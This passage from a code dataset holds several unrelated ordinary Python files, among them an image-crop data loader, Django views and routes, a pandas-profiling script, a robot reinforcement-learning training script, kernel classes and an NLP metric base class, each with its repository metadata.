x: {max_x}, x1: {x1}')\n x_offset_up = tf.math.maximum(max_x, x1) - max_x\n y_offset_up = tf.math.maximum(max_y, y1) - max_y\n\n x0 -= x_offset_up\n x1 -= x_offset_up\n y0 -= y_offset_up\n y1 -= y_offset_up\n\n return [x0, x1, y0, y1]\n\n\ndef random_crop_bbox(\n image: tf.Tensor,\n bndbox: List[tf.Tensor],\n width: int = 299,\n height: int = 299,\n) -> tf.Tensor:\n \"\"\"\n Random crop an area around a bounding box to a fixed size.\n If output size is greater than maximum crop size the image will\n be zero-padded.\n\n Parameters\n ----------\n image : np.ndarray\n image array of size [height, width, 3]\n bndbox : List[int]\n Bounding box in the shape [x0, x1, y0, y1].\n width : int\n Cropped image width\n height : int\n Cropped image height\n\n Returns\n -------\n Crop of image.\n \"\"\"\n max_x, max_y = tf.shape(image)[1], tf.shape(image)[0]\n\n crop_width = bndbox[1] - bndbox[0]\n crop_height = bndbox[3] - bndbox[2]\n\n offset_x = tf.random.uniform(\n [1], 0, tf.reshape(width - crop_width, []), dtype=tf.int64\n )\n offset_y = tf.random.uniform(\n [1], 0, tf.reshape(height - crop_height, []), dtype=tf.int64\n )\n\n log.debug(f'Sampled offsets: x: {offset_x}, y: {offset_y}')\n\n log.debug(f'Original bounding box: {bndbox}')\n\n x0, x1 = bndbox[0] - offset_x, bndbox[1] + (width - crop_width - offset_x)\n y0, y1 = bndbox[2] - offset_y, bndbox[3] + (\n height - crop_height - offset_y\n )\n\n box = [x0, x1, y0, y1]\n\n box = list(map(lambda x: tf.squeeze(tf.cast(x, tf.int32)), box))\n box = shift_upper(box, max_x, max_y)\n box = list(map(lambda x: tf.squeeze(tf.cast(x, tf.int32)), box))\n box = shift_lower(box)\n log.debug(f'Updated bounding box: {box}')\n\n return crop_and_pad(image, box, width, height)\n\n\ndef center_crop_bbox(\n image: tf.Tensor, bndbox: list, width: int = 299, height: int = 299\n) -> tf.Tensor:\n \"\"\"\n Center crop an area around a bounding box to a fixed size.\n If output size is greater than maximum crop size the image will\n be zero-padded.\n\n Parameters\n ----------\n image : tf.Tensor\n image array of size [height, width, 3]\n bndbox : List[int]\n Bounding box in the shape [x0, x1, y0, y1].\n width : int\n Cropped image width\n height : int\n Cropped image height\n\n Returns\n -------\n Crop of image.\n \"\"\"\n y_max, x_max = tf.shape(image)[0], tf.shape(image)[1]\n\n crop_width = bndbox[1] - bndbox[0]\n crop_height = bndbox[3] - bndbox[2]\n\n x0, x1, y0, y1 = bndbox\n x0 -= tf.cast(tf.math.floor((width - crop_width) / 2), tf.int64)\n x1 += tf.cast(tf.math.ceil((width - crop_width) / 2), tf.int64)\n y0 -= tf.cast(tf.math.floor((height - crop_height) / 2), tf.int64)\n y1 += tf.cast(tf.math.ceil((height - crop_height) / 2), tf.int64)\n\n x0 = tf.cast(x0, tf.int32)\n x1 = tf.cast(x1, tf.int32)\n y0 = tf.cast(y0, tf.int32)\n y1 = tf.cast(y1, tf.int32)\n box = shift_upper([x0, x1, y0, y1], x_max, y_max)\n box = shift_lower(box)\n\n return crop_and_pad(image, box, width, height)\n\n\ndef crop_and_pad(\n image: tf.Tensor, bndbox: List[int], width: int = 299, height: int = 299\n) -> tf.Tensor:\n \"\"\"\n Crop image to specific size using bounding box,\n zero-pad if crop is too large.\n\n Parameters\n ----------\n image : tf.Tensor\n image array of size [height, width, 3]\n bndbox : List[int]\n Bounding box in the shape [x0, x1, y0, y1].\n width : int\n Cropped image width\n height : int\n Cropped image height\n\n Returns\n -------\n Crop of image.\n \"\"\"\n\n bndbox = list(map(lambda x: tf.squeeze(tf.cast(x, tf.int32)), bndbox))\n x0, x1, y0, y1 = bndbox\n\n image = image[y0:y1, x0:x1, :]\n image = tf.image.pad_to_bounding_box(image, 0, 0, height, width)\n\n return image\n\n\ndef read_image(\n image_path: str,\n fmt: Optional[str] = None,\n adaptive_threshold: bool = False,\n) -> tf.Tensor:\n image = tf.io.read_file(image_path)\n\n if fmt == 'png':\n image = tf.image.decode_png(image, channels=3)\n elif fmt == 'jpeg':\n image = tf.image.decode_jpeg(image, channels=3)\n else:\n image = tf.image.decode_image(image, channels=3)\n\n # does only work in eager mode\n if adaptive_threshold:\n image = image.numpy().astype(np.uint8)\n image = cv.cvtColor(image, cv.COLOR_BGR2GRAY)\n image = cv.adaptiveThreshold(\n image,\n 255.0,\n cv.ADAPTIVE_THRESH_GAUSSIAN_C,\n cv.THRESH_BINARY_INV,\n 15,\n 3,\n )\n image = cv.cvtColor(image, cv.COLOR_GRAY2BGR)\n image = tf.convert_to_tensor(image, tf.float32)\n else:\n image = tf.cast(image, tf.float32)\n\n return image\n\n\ndef augment(image: tf.Tensor) -> tf.Tensor:\n \"\"\"\n Augments 3-channel image tensors.\n\n Parameters\n ----------\n image: tf.Tensor\n\n Returns\n -------\n tf.Tensor\n \"\"\"\n image = tf.image.random_flip_left_right(image)\n image = tf.image.random_flip_up_down(image)\n image = tf.image.random_contrast(image, 0.0, 0.8)\n image = tf.image.random_saturation(image, 0.0, 4.0)\n image = tf.image.random_brightness(image, 0.5)\n return image\n\n\ndef preprocess(\n image: tf.Tensor,\n bbox: List[tf.Tensor],\n width: int = 299,\n height: int = 299,\n random_crop: bool = True,\n augment_data: bool = True,\n preprocess_fn: Callable = None,\n):\n if random_crop:\n image = random_crop_bbox(image, bbox, width, height)\n else:\n image = center_crop_bbox(image, bbox, width, height)\n\n if augment_data:\n image = augment(image)\n if preprocess_fn is not None:\n image = preprocess_fn(image)\n\n return image\n","repo_name":"antolu/aisi-joints","sub_path":"aisi_joints/img_cls/_dataloader.py","file_name":"_dataloader.py","file_ext":"py","file_size_in_byte":9892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7193921781","text":"import numpy as np\nimport pandas as pd\nfrom pandas_profiling import ProfileReport\n#print(np.random.rand(100, 5))\ndf = pd.DataFrame([[33256]], columns=[\"TotalUsers\"])\n#profile = ProfileReport(df, title=\"Welcome to IdP Reporting\")\nprofile = df.profile_report(\n interactions ={\n \"continuous\":False,\n },\n correlations={\n \"pearson\": {\"calculate\": False},\n \"spearman\": {\"calculate\": False},\n \"kendall\": {\"calculate\": False},\n \"phi_k\": {\"calculate\": False},\n \"cramers\": {\"calculate\": False},\n },\n missing_diagrams={\n \"heatmap\": False,\n \"dendrogram\": False,\n \"matrix\":False,\n \"bar\":False,\n },\n title=\"IdP Reporting\",\n sort=\"ascending\",\n variables = {\n \"descriptions\":{\n \"Explicaicon por dentro\":\"VAmos a ver\"\n }\n },\n vars={\n \"num\": {\n \"quantiles\":[0.0,1.0],\n \"skewness_threshold\":0,\n \"low_categorical_threshold\": 0,\n },\n \"cat\": {\n \"length\": False,\n \"characters\": False,\n \"words\": False,\n \"cardinality_threshold\":0,\n \"chi_squared_threshold\":0.0,\n \"n_obs\": 0,\n },\n \"bool\": {\n \"n_obs\": 0\n }\n },\n)\n\nprofile.config.variables.descriptions = {\n \"TotalUsers\": \"Usuarios ingresados durante la semana\",\n}\n\nprofile.config.html.minify_html = True\nprofile.to_file(\"report.html\")\n\n#profile.to_file(\"your_report.html\")","repo_name":"juliandecoss/scripts","sub_path":"nogit/aws/src/cloudwatch/pandas_pro.py","file_name":"pandas_pro.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6078628853","text":"from django.urls import path\nfrom . import views\nfrom users.views import AccountDetailView, Leaderboard\n\napp_name = \"users\"\n\nurlpatterns = [\n path(\"leaderboard/\", Leaderboard.as_view(), name=\"leaderboard\"),\n path(\"profile/register/\", views.signup, name=\"register\"),\n path(\"profile/edit/\", views.profile, name=\"profile\"),\n path(\"user//\", AccountDetailView.as_view(), name=\"profilepage\"),\n]\n","repo_name":"The-Domecode/domecode-opensource","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"37"} +{"seq_id":"73573527466","text":"from django.contrib.auth.views import LogoutView\nfrom django.urls import reverse_lazy\nfrom django.http import HttpResponse, HttpRequest\n\n\nclass MyLogoutView(LogoutView):\n next_page = reverse_lazy('myauth:login')\n\n\ndef set_cookie_view(request: HttpRequest) -> HttpResponse:\n response = HttpResponse(\"Cookies were successfully set\")\n response.set_cookie(\"user\",\n request.META['USER'],\n max_age=1800,\n httponly=True,\n )\n response.set_cookie(\"userIP\",\n request.META['REMOTE_ADDR'],\n max_age=1800,\n httponly=True,\n )\n return response\n\n\ndef get_cookie_view(request: HttpRequest) -> HttpResponse:\n user = request.COOKIES.get(\"user\", \"no user\")\n user_ip = request.COOKIES.get(\"userIP\", \"no IP\")\n return HttpResponse(f\"

    Cookies set by set_cookie_view function:

    \"\n f\"Username = {user!r}
    User IP = {user_ip}\")\n\n\ndef set_session_view(request: HttpRequest) -> HttpResponse:\n key = \"homework_status\"\n value = \"completed\"\n request.session[key] = value\n return HttpResponse(f\"

    Session key = {key} successfully set to {value!r}

    \")\n\n\ndef get_session_view(request: HttpRequest) -> HttpResponse:\n key = \"homework_status\"\n value = request.session.get(key, \"unknown\")\n return HttpResponse(f\"

    Session Homework Status

    {key} is {value!r} now.\")\n","repo_name":"MikhailNartsissov/SkillboxDjango","sub_path":"M_08_Auth/mysite/myauth/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70083579308","text":"import sys\n\ninput = sys.stdin.readline\n\nh, m, s = list(map(int, input().split()))\n\nq = int(input())\n\nfor _ in range(q):\n k = list(map(int, input().split()))\n\n if k[0] == 3:\n print(h, m, s)\n else:\n k[1] %= 24 * 60 * 60 # s가 음수가 되지 않도록 반복 회전에 대해 나머지 처리\n if k[0] == 1:\n s += k[1]\n else:\n s += 24 * 60 * 60 - k[1]\n\n if s >= 60:\n m += int(s / 60)\n s %= 60\n if m >= 60:\n h += int(m / 60)\n m %= 60\n if h >= 24:\n h %= 24\n","repo_name":"jeongth9446/problem-solving","sub_path":"acmicpc/python/12840_창용이의 시계.py","file_name":"12840_창용이의 시계.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"6103035322","text":"from tactile_gym.rl_envs.demo_rl_env_base import demo_rl_env\nfrom tactile_gym.rl_envs.exploration.surface_follow.surface_follow_goal.surface_follow_goal_env import (\n SurfaceFollowGoalEnv,\n)\n\nimport torch\nimport os\nimport numpy as np\nfrom stable_baselines3 import DDPG, TD3, A2C,HerReplayBuffer\nfrom stable_baselines3.common.callbacks import CheckpointCallback\nfrom stable_baselines3.common.callbacks import EvalCallback\nfrom stable_baselines3.common.noise import NormalActionNoise\nimport h5py\nimport imageio\nfrom sb3_contrib import TQC\n\ndef main():\n\n seed = int(0)\n num_iter = 100\n max_steps = 1000\n show_gui = True\n show_tactile = False\n render = False\n model_test = True\n print_info = False\n image_size = [128, 128]\n env_modes = {\n # which dofs can have movement\n # 'movement_mode':'yz',\n # 'movement_mode':'xyz',\n # 'movement_mode':'yzRx',\n #\"movement_mode\": \"xRz\",\n \"movement_mode\": \"xyzRxRy\",\n\n # specify arm\n \"arm_type\": \"ur5\",\n\n # specify tactile sensor\n \"tactile_sensor_name\": \"tactip\",\n # \"tactile_sensor_name\": \"digit\",\n # \"tactile_sensor_name\": \"digitac\",\n\n # the type of control used\n # 'control_mode':'TCP_position_control',\n \"control_mode\": \"TCP_velocity_control\",\n\n # noise params for additional robustness\n \"noise_mode\": \"simplex\",\n\n # which observation type to return\n #'observation_mode': 'oracle',\n # \"observation_mode\": \"tactile_and_feature\",\n # 'observation_mode':'visual_and_feature',\n # 'observation_mode':'visuotactile_and_feature',\n 'observation_mode':'encodedimg_privilege_feature',\n\n # which reward type to use (currently only dense)\n \"reward_mode\": \"dense\"\n # 'reward_mode':'sparse'\n }\n\n env = SurfaceFollowGoalEnv(\n max_steps=max_steps,\n env_modes=env_modes,\n show_gui=show_gui,\n show_tactile=show_tactile,\n image_size=image_size,\n )\n\n # set seeding\n env.seed(seed)\n \n #env.action_space.np_random.seed(seed)\n print(env.observation_space)\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n \n action_noise = NormalActionNoise(mean=np.zeros(env.action_space.shape[-1]), sigma=0.1 * np.ones(env.action_space.shape[-1]))\n \n policy_kwargs = dict(n_critics=2, activation_fn=torch.nn.ReLU, net_arch=[512, 256, 128])\n #policy_kwargs = dict(activation_fn=torch.nn.ReLU, net_arch=[512, 256, 128])\n\n model = TQC(\"MultiInputPolicy\", env,learning_rate=1e-3, batch_size=256,\n tau=0.001, gamma=0.95, action_noise=action_noise, buffer_size=int(1e6), train_freq=(5, 'step'),\n learning_starts=10000, policy_kwargs=policy_kwargs, device=device,tensorboard_log=\"../tensorboard_logs/surface/\",verbose=1)\n #model = RecurrentPPO(\"MultiInputLstmPolicy\", env, learning_rate=1e-3, batch_size=256, policy_kwargs=policy_kwargs, device=device,tensorboard_log=\"../tensorboard_logs/\",verbose=1)\n render_frames = []\n if model_test:\n #model = TQC.load(\"../model/tactile_vae.zip\", env)\n obs = env.reset()\n sum_reward = 0\n for i in range(5):\n obs = env.reset()\n #print(obs)\n for i in range(1000):\n #print(type(obs))\n action,_ = model.predict(observation=obs)\n #print(type(action))\n #action = env.action_space.sample()\n #f.create_dataset('data_'+str(i), data=env.current_img)\n \n action = [0,0,0,0,0.1]\n print(action)\n obs, reward, done, info = env.step(action)\n #print(obs)\n sum_reward += reward\n if done:\n break\n render_img = env.render()\n render_frames.append(render_img)\n #print(sum_reward)\n sum_reward = 0 \n #imageio.mimwrite(os.path.join(\"example_videos\", \"surface.mp4\"), np.stack(render_frames), fps=12)\n else : \n if os.path.exists(\"../model/surface/best_model.zip\"):\n #model = SAC.load(\"../model/tactile_vae.zip\",env)\n print(\"pretrain\")\n eval_callback = EvalCallback(env, best_model_save_path='../model_checkpoints/edge/',\n log_path='../model_checkpoints/logs/', eval_freq=10000,\n deterministic=True, render=False)\n model.learn(total_timesteps=500000, callback=eval_callback)\n model.save(\"../model_checkpoints/surface/model.zip\")\n \n \n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Peng-Bryant/Learning_based-Tactile-Feedback-Control-Framework","sub_path":"tactile_gym/scripts/tactile_rl_surface.py","file_name":"tactile_rl_surface.py","file_ext":"py","file_size_in_byte":4678,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"3803300428","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport collections\nimport tensorflow as tf\n\nfrom .square_curlfree import SquareCurlFree\nfrom kscore.utils import median_heuristic\n\nclass CurlFreeIMQ(SquareCurlFree):\n def __init__(self, kernel_hyperparams=None, heuristic_hyperparams=median_heuristic):\n super().__init__(kernel_hyperparams, heuristic_hyperparams)\n\n def _gram_derivatives_impl(self, r, norm_rr, sigma):\n inv_sqr_sigma = 1.0 / tf.square(sigma)\n imq = tf.math.rsqrt(1.0 + norm_rr * inv_sqr_sigma) # [M, N]\n imq_2 = 1.0 / (1.0 + norm_rr * inv_sqr_sigma)\n G_1st = -0.5 * imq_2 * inv_sqr_sigma * imq\n G_2nd = -1.5 * imq_2 * inv_sqr_sigma * G_1st\n G_3rd = -2.5 * imq_2 * inv_sqr_sigma * G_2nd\n return r, norm_rr, G_1st, G_2nd, G_3rd\n\nclass CurlFreeIMQp(SquareCurlFree):\n def __init__(self, p=0.5, kernel_hyperparams=None, heuristic_hyperparams=median_heuristic):\n super().__init__(kernel_hyperparams, heuristic_hyperparams)\n self._p = p\n\n def _gram_derivatives_impl(self, r, norm_rr, sigma):\n inv_sqr_sigma = 1.0 / tf.square(sigma)\n imq = 1.0 / (1.0 + norm_rr * inv_sqr_sigma)\n imq_p = tf.pow(imq, self._p) # [M, N]\n G_1st = -(0. + self._p) * imq * inv_sqr_sigma * imq_p\n G_2nd = -(1. + self._p) * imq * inv_sqr_sigma * G_1st\n G_3rd = -(2. + self._p) * imq * inv_sqr_sigma * G_2nd\n return r, norm_rr, G_1st, G_2nd, G_3rd\n","repo_name":"miskcoo/kscore","sub_path":"kscore/kernels/curlfree_imq.py","file_name":"curlfree_imq.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"37"} +{"seq_id":"2348163850","text":"import logging\nimport os\nimport types\nfrom contextlib import contextmanager\nfrom typing import Any, Dict, Optional\n\nimport numpy as np\nimport pyarrow as pa\nfrom filelock import FileLock, Timeout\n\nfrom .arrow_dataset import Dataset\nfrom .arrow_reader import ArrowReader\nfrom .arrow_writer import ArrowWriter\nfrom .info import MetricInfo\nfrom .naming import camelcase_to_snakecase\nfrom .utils import HF_METRICS_CACHE, Version, copyfunc\nfrom .utils.download_manager import DownloadManager\nfrom .utils.file_utils import DownloadConfig\n\n\nlogger = logging.getLogger(__file__)\n\n\n@contextmanager\ndef temp_seed(seed: int):\n state = np.random.get_state()\n np.random.seed(seed)\n try:\n yield\n finally:\n np.random.set_state(state)\n\n\nclass Metric(object):\n def __init__(\n self,\n name: str = None,\n experiment_id: Optional[str] = None,\n process_id: int = 0,\n num_process: int = 1,\n data_dir: Optional[str] = None,\n in_memory: bool = False,\n hash: str = None,\n seed: Optional[int] = None,\n **kwargs,\n ):\n \"\"\" A Metrics is the base class and common API for all metrics.\n Args:\n process_id (``int``): specify the id of the node in a distributed settings between 0 and num_nodes-1\n This can be used, to compute metrics on distributed setups\n (in particular non-additive metrics like F1).\n data_dir (``str``): path to a directory in which temporary data will be stored.\n This should be a shared file-system for distributed setups.\n hash (``str``): can be used to define a hash specific to the metrics computation script\n This prevents the metric's data to be overridden when the metric loading script is modified.\n experiment_id (Optional ``str``): Should be used if you perform several concurrent experiments using\n the same caching directory (will be indicated in the raise error)\n in_memory (``bool``): keep all predictions and references in memory. Not possible in distributed settings.\n seed (Optional ``int``): If specified, this will temporarily set numpy's random seed when :func:`nlp.Metric.compute` is run.\n \"\"\"\n # Safety checks\n assert isinstance(process_id, int) and process_id >= 0, \"'process_id' should be a number greater than 0\"\n assert (\n isinstance(num_process, int) and num_process > process_id\n ), \"'num_process' should be a number greater than process_id\"\n assert (\n process_id == 0 or not in_memory\n ), \"Using 'in_memory' is not possible in distributed setting (process_id > 0).\"\n\n # Metric name\n self.name = camelcase_to_snakecase(self.__class__.__name__)\n # Configuration name\n self.config_name: str = name or \"default\"\n\n self.process_id = process_id\n self.num_process = num_process\n self.in_memory = in_memory\n self.experiment_id = experiment_id if experiment_id is not None else \"cache\"\n self.hash = hash\n self._version = \"1.0.0\"\n self._data_dir_root = os.path.expanduser(data_dir or HF_METRICS_CACHE)\n self.data_dir = self._build_data_dir()\n self.seed: int = seed or np.random.get_state()[1][0]\n\n # prepare info\n info = self._info()\n info.metric_name = self.name\n info.config_name = self.config_name\n info.version = self._version\n self.info = info\n\n # Update 'compute' and 'add' docstring\n # methods need to be copied otherwise it changes the docstrings of every instance\n self.compute = types.MethodType(copyfunc(self.compute), self)\n self.add_batch = types.MethodType(copyfunc(self.add_batch), self)\n self.add = types.MethodType(copyfunc(self.add), self)\n self.compute.__func__.__doc__ += self.info.inputs_description\n self.add_batch.__func__.__doc__ += self.info.inputs_description\n self.add.__func__.__doc__ += self.info.inputs_description\n\n self.arrow_schema = pa.schema(field for field in self.info.features.type)\n self.buf_writer = None\n self.writer = None\n self.writer_batch_size = None\n self.data = None\n\n # Check we can write on the cache file without competitors\n self.cache_file_name = self._get_cache_path(self.process_id)\n self.filelock = FileLock(self.cache_file_name + \".lock\")\n try:\n self.filelock.acquire(timeout=1)\n except Timeout:\n raise ValueError(\n \"Cannot acquire lock, caching file might be used by another process, \"\n \"you should setup a unique 'experiment_id' for this run.\"\n )\n\n def _relative_data_dir(self, with_version=True):\n \"\"\" Relative path of this metric in cache_dir:\n Will be:\n self.name/self.config_name/self.config.version/self.hash/\n If any of these element is missing or if ``with_version=False`` the corresponding subfolders are dropped.\n \"\"\"\n builder_data_dir = os.path.join(self.name, self.config_name)\n if with_version:\n builder_data_dir = os.path.join(builder_data_dir, str(self._version))\n if self.hash:\n builder_data_dir = os.path.join(builder_data_dir, self.hash)\n return builder_data_dir\n\n def _build_data_dir(self):\n \"\"\" Return the directory for the current version.\n \"\"\"\n builder_data_dir = os.path.join(self._data_dir_root, self._relative_data_dir(with_version=False))\n version_data_dir = os.path.join(self._data_dir_root, self._relative_data_dir(with_version=True))\n\n def _other_versions_on_disk():\n \"\"\"Returns previous versions on disk.\"\"\"\n if not os.path.exists(builder_data_dir):\n return []\n\n version_dirnames = []\n for dir_name in os.listdir(builder_data_dir):\n try:\n version_dirnames.append((Version(dir_name), dir_name))\n except ValueError: # Invalid version (ex: incomplete data dir)\n pass\n version_dirnames.sort(reverse=True)\n return version_dirnames\n\n # Check and warn if other versions exist on disk\n version_dirs = _other_versions_on_disk()\n if version_dirs:\n other_version = version_dirs[0][0]\n if other_version != self._version:\n warn_msg = (\n \"Found a different version {other_version} of metric {name} in \"\n \"data_dir {data_dir}. Using currently defined version \"\n \"{cur_version}.\".format(\n other_version=str(other_version),\n name=self.name,\n data_dir=self._data_dir_root,\n cur_version=str(self._version),\n )\n )\n logger.warning(warn_msg)\n\n os.makedirs(version_data_dir, exist_ok=True)\n return version_data_dir\n\n def _get_cache_path(self, node_id):\n return os.path.join(self.data_dir, f\"{self.experiment_id}-{self.name}-{node_id}.arrow\")\n\n def finalize(self, timeout=120):\n \"\"\" Close all the writing process and load/gather the data\n from all the nodes if main node or all_process is True.\n \"\"\"\n self.writer.finalize()\n self.writer = None\n self.buf_writer = None\n self.filelock.release()\n\n if self.process_id == 0:\n # Let's acquire a lock on each node files to be sure they are finished writing\n node_files = []\n locks = []\n for node_id in range(self.num_process):\n node_file = self._get_cache_path(node_id)\n filelock = FileLock(node_file + \".lock\")\n filelock.acquire(timeout=timeout)\n node_files.append({\"filename\": node_file})\n locks.append(filelock)\n\n # Read the predictions and references\n reader = ArrowReader(path=self.data_dir, info=None)\n self.data = Dataset(**reader.read_files(node_files))\n\n # Release all of our locks\n for lock in locks:\n lock.release()\n\n def compute(self, predictions=None, references=None, timeout=120, **metrics_kwargs):\n \"\"\" Compute the metrics.\n \"\"\"\n if predictions is not None:\n self.add_batch(predictions=predictions, references=references)\n self.finalize(timeout=timeout)\n\n self.data.set_format(type=self.info.format)\n\n predictions = self.data[\"predictions\"]\n references = self.data[\"references\"]\n with temp_seed(self.seed):\n output = self._compute(predictions=predictions, references=references, **metrics_kwargs)\n return output\n\n def add_batch(self, predictions=None, references=None, **kwargs):\n \"\"\" Add a batch of predictions and references for the metric's stack.\n \"\"\"\n batch = {\"predictions\": predictions, \"references\": references}\n if self.writer is None:\n self._init_writer()\n self.writer.write_batch(batch)\n\n def add(self, prediction=None, reference=None, **kwargs):\n \"\"\" Add one prediction and reference for the metric's stack.\n \"\"\"\n example = {\"predictions\": prediction, \"references\": reference}\n example = self.info.features.encode_example(example)\n if self.writer is None:\n self._init_writer()\n self.writer.write(example)\n\n def _init_writer(self):\n if self.in_memory:\n self.buf_writer = pa.BufferOutputStream()\n self.writer = ArrowWriter(\n schema=self.arrow_schema, stream=self.buf_writer, writer_batch_size=self.writer_batch_size\n )\n else:\n self.buf_writer = None\n self.writer = ArrowWriter(\n schema=self.arrow_schema, path=self.cache_file_name, writer_batch_size=self.writer_batch_size\n )\n\n def _info(self) -> MetricInfo:\n \"\"\"Construct the MetricInfo object. See `MetricInfo` for details.\n\n Warning: This function is only called once and the result is cached for all\n following .info() calls.\n\n Returns:\n info: (MetricInfo) The metrics information\n \"\"\"\n raise NotImplementedError\n\n def download_and_prepare(\n self,\n download_config: Optional[DownloadConfig] = None,\n dl_manager: Optional[DownloadManager] = None,\n **download_and_prepare_kwargs,\n ):\n \"\"\"Downloads and prepares dataset for reading.\n\n Args:\n download_config (Optional ``nlp.DownloadConfig``: specific download configuration parameters.\n dl_manager (Optional ``nlp.DownloadManager``): specific Download Manger to use\n \"\"\"\n if dl_manager is None:\n if download_config is None:\n download_config = DownloadConfig()\n download_config.cache_dir = os.path.join(self.data_dir, \"downloads\")\n download_config.force_download = False\n\n dl_manager = DownloadManager(\n dataset_name=self.name, download_config=download_config, data_dir=self.data_dir\n )\n\n self._download_and_prepare(dl_manager)\n\n def _download_and_prepare(self, dl_manager):\n \"\"\"Downloads and prepares resources for the metric.\n\n This is the internal implementation to overwrite called when user calls\n `download_and_prepare`. It should download all required resources for the metric.\n\n Args:\n dl_manager: (DownloadManager) `DownloadManager` used to download and cache\n data..\n \"\"\"\n return None\n\n def _compute(self, predictions=None, references=None, **kwargs) -> Dict[str, Any]:\n \"\"\" This method defines the common API for all the metrics in the library \"\"\"\n raise NotImplementedError\n","repo_name":"MachineLearningBCAM/Minimax-risk-classifiers-NeurIPS-2020","sub_path":"venv/lib/python3.6/site-packages/nlp/metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":12080,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"36465834567","text":"from mpl_toolkits import mplot3d\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport ioUtils\nfrom handleColor import colorDecompact\n\n\ndef makeGraph():\n learned = ioUtils.getLearned()\n\n # Creating figure\n fig = plt.figure(figsize=(10, 10))\n ax = plt.axes(projection=\"3d\")\n colorToMLib = {\n \"RED\":\"red\",\n \"ORANGE\":\"darkorange\",\n \"YELLOW\":\"yellow\",\n \"GREEN\":\"green\",\n \"BLUE\":\"blue\",\n \"PURPLE\":\"purple\",\n \"PINK\":\"hotpink\",\n \"BROWN\":\"brown\",\n \"WHITE\":\"white\",\n \"LIGHT GRAY\":\"lightgray\",\n \"DARK GRAY\":\"darkgray\",\n \"BLACK\":\"black\"\n }\n # Creating plot\n for l in learned:\n x = []\n y = []\n z = []\n for c in learned[l]:\n colorRgb = colorDecompact(c[0])\n x.append(colorRgb[0])\n y.append(colorRgb[1])\n z.append(colorRgb[2])\n color = \"blue\"\n if l in colorToMLib:\n color = colorToMLib[l]\n ax.scatter3D(x, y, z, color=color, alpha=1)\n ax.set_xlabel('Red')\n ax.set_ylabel('Green')\n ax.set_zlabel('Blue')\n plt.savefig('graph.png', transparent=True)\n","repo_name":"Silber01/ColorLearn","sub_path":"makeGraph.py","file_name":"makeGraph.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20404942176","text":"charge2symbol={1:\"H\",2:\"He\",3:\"Li\",4:\"Be\",5:\"B\",6:\"C\",7:\"N\",8:\"O\",9:\"F\",10:\"Ne\"}\n\ndef alias_param(param_name: str, param_alias: str):\n \"\"\"\n Decorator for aliasing a param in a function\n Args:\n param_name: name of param in function to alias\n param_alias: alias that can be used for this param\n Returns:\n \"\"\"\n def decorator(func):\n def wrapper(*args, **kwargs):\n alias_param_value = kwargs.get(param_alias)\n if param_alias in kwargs.keys():\n kwargs[param_name] = alias_param_value\n del kwargs[param_alias]\n result = func(*args, **kwargs)\n return result\n return wrapper\n return decorator\n\n\ndef printxyz(coords,al,fn):\n atomnumber={1:\"H\",5:\"B\",6:\"C\",7:\"N\"}\n assert len(al)==len(coords)\n with open(fn,\"w\")as xyzf:\n xyzf.write(str(len(al))+\" \\n\" )\n xyzf.write(\"molecule \\n\" )\n for i in range(len(coords)):\n xyzf.write(atomnumber[al[i]]+\" \"+str(coords[i])[1:-1]+\"\\n\")\n return\n\n\ndef parse_charge(dL):\n \"\"\" There are two options: \n 1) call FcM(**kwargs,fcs=[c1,c2,--cn]) with a list of length equal to the number of atoms\n 2) FcM(**kwargs,fcs=[[aidx1,aidx2,..,aidxn],[c1,c2,..cn]]) with a list of two sublist for atoms' indexes and fract charges\n \"\"\"\n a=[[],[]]\n parsed=False\n if len(dL) ==2: #necessario, ma non sufficiente per caso 2\n try:\n len(dL[0])==len(dL[1])\n if isinstance(dL[0][0],int) or isinstance(dL[0][0],float):\n parsed=True\n except: pass\n if not parsed and (isinstance(dL[0],int) or isinstance(dL[0],float)): #move to case2 \n for i in range(len(dL)):\n if dL[i]!=0:\n a[0].append(i)\n a[1].append(dL[i])\n dL=a\n parsed=True\n if not parsed:\n print(\"Failed to parse charges\")\n raise\n return dL\n\ndef DeltaV(mol,dL):\n \"\"\"dL=[[i1,i2,i3],[c1,c2,c3]]\"\"\"\n mol.set_rinv_orig_(mol.atom_coords()[dL[0][0]])\n dV=mol.intor('int1e_rinv')*dL[1][0]\n for i in range(1,len(dL[0])): \n mol.set_rinv_orig_(mol.atom_coords()[dL[0][i]])\n dV+=mol.intor('int1e_rinv')*dL[1][i]\n return -dV","repo_name":"ferchault/APDFT","sub_path":"prototyping/hessian/Repository_Alchemical_Forces/AP_utils.py","file_name":"AP_utils.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"37"} +{"seq_id":"6312766545","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport otp_yubikey.models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='RemoteYubikeyDevice',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, 